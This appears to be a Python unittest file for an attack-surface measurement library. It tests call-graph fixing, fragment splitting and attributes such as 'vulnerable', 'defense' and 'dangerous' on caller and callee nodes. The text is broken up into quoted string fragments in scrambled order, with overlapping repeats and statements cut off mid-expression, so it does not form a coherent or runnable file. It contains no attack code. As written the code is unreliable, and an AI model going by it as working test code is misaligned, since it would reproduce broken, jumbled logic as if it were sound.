"# + Designed defense and vulnerable # Arrange source = 'cflow' defenses =",
"i.function_name == 'GreeterSayHi' ), 'after': next( i for (i, _) in target.nodes if",
"expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j'])",
"Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs)",
"OTHER nodes and their attributes got carried over self.assertCountEqual( [ (i, attrs) for",
"nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c',",
"self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not",
"1) # Scenario: main -- validate* (cflow) # * Vulnerable # Arrange source",
"for (i, attrs) in target.nodes if i != expected['after'] ] ) # Asserting",
"Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader",
"range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a -- b",
"networkx as nx from attacksurfacemeter import utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph",
"[('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h',",
"], ) # Asserting if OTHER nodes and their attributes got carried over",
"# Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof) # Arrange source",
"Environments.C), Call('validate', 'utils.c', Environments.C) ] caller = Call('main', 'main.c', Environments.C) callee = Call('validate',",
"utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main --",
"Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main -- printf (cflow)",
"vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not",
"expected['after'] ] ) # Asserting if edge attributes got carried over self.assertCountEqual( [",
"# Scenario: main -- printf (gprof) # Arrange source = 'gprof' caller =",
"actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario:",
"attacksurfacemeter import utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments",
"attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange",
"('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = [None] * 4 expected[0]",
"carried over self.assertCountEqual( [ attrs for (i, attrs) in _target.nodes if i ==",
"(i, attrs) for (i, attrs) in _target.nodes if i != expected['before'] ], [",
"utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange # a -- b e -- f",
"defenses, list() ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense'",
"'f'), ('h', 'i'), ('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd'])",
"[ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [ Call('main', 'main.c',",
"callee = Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller,",
"for (i, j, attrs) in target.edges if i != expected['after'] and j !=",
"= 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C),",
"'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'),",
"# Scenario: main* -- validate+ (cflow) # * Designed defense # + Designed",
"Designed defense # + Designed defense and vulnerable # Arrange source = 'cflow'",
"g # | | # | | # d -- c h --",
"| # d -- c h -- i j graph = nx.Graph() graph.add_nodes_from(",
"self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) #",
"Scenario: main -- chown (cflow) # Arrange source = 'cflow' caller = Call('main',",
"list() ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not",
"Arrange source = 'cflow' defenses = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C)",
"if i.function_name == 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) #",
"'d'), ('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h')",
"not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main --",
"attrs) in target.edges if i == expected['after'] or j == expected['after'] ], )",
"== expected['after'] ], ) # Asserting if OTHER nodes and their attributes got",
"'d', 'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'),",
"'i'), ('i', 'h') ]) expected = [None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a',",
"'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'), ('d',",
"'f'), ('f', 'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self):",
"self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit'",
"Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c',",
"'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i'])",
"'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'),",
"main -- validate* (cflow) # * Vulnerable # Arrange source = 'cflow' vulnerabilities",
"edges and their attributes got carried over self.assertCountEqual( [ (i, j, attrs) for",
"= 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee",
"+ Designed defense and vulnerable # Arrange source = 'cflow' defenses = [Call('validate',",
"callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities ) # Assert # Caller",
"'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange",
"'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'), ('f', 'g'), ('h', 'i') ]) #",
"self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not",
"Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs)",
"caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow) # *",
"in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(),",
"in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof) #",
"i != expected['after'] ] ) # Asserting if OTHER edges and their attributes",
"c h -- i j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd',",
"caller, callee, list(), vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in",
"Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in",
"= utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities ) # Assert # Caller Attributes",
"# Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in callee_attrs)",
"('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e',",
"('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a',",
"j, attrs) in target.edges if i == expected['after'] or j == expected['after'] ],",
"utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments",
"if i == expected['after'] or j == expected['after'] ], ) # Asserting if",
"reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges())",
"expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'),",
"Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses,",
") expected = { 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) }",
"'e'), ('f', 'g'), ('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'),",
"_target.nodes if i == expected['before'] ], [ attrs for (i, attrs) in target.nodes",
"'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c',",
"callee = Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller,",
"if i == expected['after'] ] ) # Asserting if edge attributes got carried",
"'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'), ('f', 'g'), ('h', 'i')",
"== expected['before'] ], [ attrs for (i, j, attrs) in target.edges if i",
"= { 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act",
"('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange #",
"Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs)",
"# d -- c h -- i j graph = nx.DiGraph() graph.add_nodes_from( ['a',",
"'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) expected[1]",
"'c'), ('d', 'a'), ('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from(",
"in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in",
"from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class",
"True ) ) _target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt'",
"caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof) # Arrange",
"test_get_fragments_for_undirected(self): # Arrange # a -- b e -- f -- g #",
"= Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee,",
"Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(),",
"= Call('main', 'main.c', Environments.C) callee = Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs)",
"defense and vulnerable # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)]",
"('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) # Act",
"self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # * Vulnerable # +",
"source, caller, callee, defenses, list() ) # Assert # Caller Attributes self.assertTrue('tested' not",
"-- f -- g # | | # | | # d --",
"# Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) )",
"from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): #",
"'before': next( i for (i, _) in _target.nodes if i.function_name == 'GreeterSayHi' ),",
"= 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee",
"attrs) in target.edges if i != expected['after'] and j != expected['after'] ], )",
"'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'),",
"expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'),",
"caller, callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' in caller_attrs)",
"Environments.C) ] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) #",
"], [ attrs for (i, j, attrs) in target.edges if i == expected['after']",
"target.nodes if i.function_name == 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after'])",
"Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow) # * Designed defense",
"('b', 'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'), ('f', 'g'), ('h', 'i') ])",
"'GreeterSayHi' ), 'after': next( i for (i, _) in target.nodes if i.function_name ==",
"'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) # Act",
"'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = nx.DiGraph()",
"GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)),",
"('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ])",
"got carried over self.assertCountEqual( [ attrs for (i, attrs) in _target.nodes if i",
"self.assertCountEqual( [ attrs for (i, attrs) in _target.nodes if i == expected['before'] ],",
"main -- validate* (cflow) # * Designed defense # Arrange source = 'cflow'",
"self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not",
"-- validate+ (cflow) # * Vulnerable # + Designed defense and vulnerable #",
"Scenario: main -- printf (cflow) # Arrange source = 'cflow' caller = Call('main',",
"validate+ (cflow) # * Vulnerable # + Designed defense and vulnerable # Arrange",
"# Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller = Call('main',",
"utilities.get_node_attrs( source, caller, callee, defenses, list() ) # Assert # Caller Attributes self.assertTrue('tested'",
"for (i, attrs) in target.nodes if i == expected['after'] ] ) # Asserting",
"Call('main', 'main.c', Environments.C) callee = Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs) =",
"Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable'",
"and j != expected['before'] ], [ (i, j, attrs) for (i, j, attrs)",
"* Vulnerable # Arrange source = 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller",
"Call('main', 'main.c', Environments.C) callee = None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source,",
"Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for",
"self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange # a -- b e --",
"test_get_node_attrs(self): # Scenario: main -- printf (cflow) # Arrange source = 'cflow' caller",
"= 'gprof' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) #",
"self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not",
"expected = { 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } #",
"(i, attrs) for (i, attrs) in target.nodes if i != expected['after'] ] )",
"= nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'),",
"expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'),",
"node attributes got carried over self.assertCountEqual( [ attrs for (i, attrs) in _target.nodes",
"= utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i in",
"callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities ) # Assert # Caller",
"caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"-- validate* (cflow) # * Vulnerable # Arrange source = 'cflow' vulnerabilities =",
"caller = Call('main', 'main.c', Environments.C) callee = Call('chown', '', Environments.C) # Act (caller_attrs,",
"'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs(",
"('d', 'a'), ('e', 'f'), ('f', 'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments,",
"'f'), ('h', 'i'), ('i', 'h') ]) expected = [None] * 4 expected[0] =",
"i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a",
"# Asserting if edge attributes got carried over self.assertCountEqual( [ attrs for (i,",
"i == expected['before'] ], [ attrs for (i, attrs) in target.nodes if i",
"expected['after'] and j != expected['after'] ], ) def test_get_fragments(self): # Arrange # a",
"not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not",
"callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense'",
"not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not",
"('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd'), ('e',",
"not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee",
"None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list() )",
"[Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C)",
"in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs)",
"self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'],",
"_target.edges if i == expected['before'] or j == expected['before'] ], [ attrs for",
"= [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c',",
"Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller = Call('main', 'main.c', Environments.C) callee",
"over self.assertCountEqual( [ (i, j, attrs) for (i, j, attrs) in _target.edges if",
"'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c',",
"self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate* (cflow) # * Vulnerable # Arrange",
"Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self):",
"graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',",
"]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f',",
"caller, callee, defenses, list() ) # Assert # Caller Attributes self.assertTrue('tested' not in",
"'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) # Act actual",
"(cflow) # * Designed defense # + Designed defense and vulnerable # Arrange",
"# Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [",
"Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof) # Arrange source = 'gprof'",
"'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b',",
"self.assertCountEqual( [ (i, attrs) for (i, attrs) in _target.nodes if i != expected['before']",
"'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()),",
"Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main',",
"caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # * Designed defense",
"'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'),",
"def test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True",
"not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow)",
"# Scenario: main -- validate* (cflow) # * Designed defense # Arrange source",
"caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency'",
"_target.edges if i != expected['before'] and j != expected['before'] ], [ (i, j,",
"in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs)",
"= utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities ) # Assert # Caller Attributes",
"not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof)",
"-- i j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f',",
"('i', 'h') ]) expected = [None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b',",
"self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"!= expected['before'] ], [ (i, attrs) for (i, attrs) in target.nodes if i",
"'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join(",
") # Asserting if OTHER edges and their attributes got carried over self.assertCountEqual(",
"printf (cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee",
"# | | # d -- c h -- i j graph =",
"callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit'",
"self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in",
"actual.edges()) def test_get_node_attrs(self): # Scenario: main -- printf (cflow) # Arrange source =",
"'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = [None]",
"self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not",
"('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) # Act actual =",
"'a'), ('a', 'd') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes())",
"from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from",
"in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown",
"* 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b',",
"import os import unittest import networkx as nx from attacksurfacemeter import utilities from",
"'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference)",
"'helloworld/gprof.callgraph.txt' ) ) ) expected = { 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi',",
"# Arrange source = 'cflow' defenses = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c',",
"== 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if",
"('d', 'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'), ('f', 'g'), ('g',",
"# Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable'",
"'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual =",
"Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in",
"caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs)",
"'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate',",
"Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable'",
"nx from attacksurfacemeter import utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph",
"self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown (cflow) #",
"actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(),",
"-- chown (cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C)",
"caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs)",
"= [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller = Call('main', 'main.c',",
") expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph()",
"self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof) # Arrange source = 'gprof' caller",
"Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, list() ) # Assert",
"Vulnerable # + Designed defense and vulnerable # Arrange source = 'cflow' defenses",
"got carried over self.assertCountEqual( [ (i, attrs) for (i, attrs) in _target.nodes if",
"] ) # Asserting if OTHER edges and their attributes got carried over",
"for (i, j, attrs) in target.edges if i == expected['after'] or j ==",
"i j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g',",
"CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target = copy.deepcopy(target) reference =",
"'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'),",
") # Asserting if edge attributes got carried over self.assertCountEqual( [ attrs for",
"# Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities ) #",
"got carried over self.assertCountEqual( [ (i, j, attrs) for (i, j, attrs) in",
"('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i:",
"source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee = None # Act",
"next( i for (i, _) in _target.nodes if i.function_name == 'GreeterSayHi' ), 'after':",
"test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True )",
"if i.function_name == 'GreeterSayHi' ), 'after': next( i for (i, _) in target.nodes",
"'d') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'),",
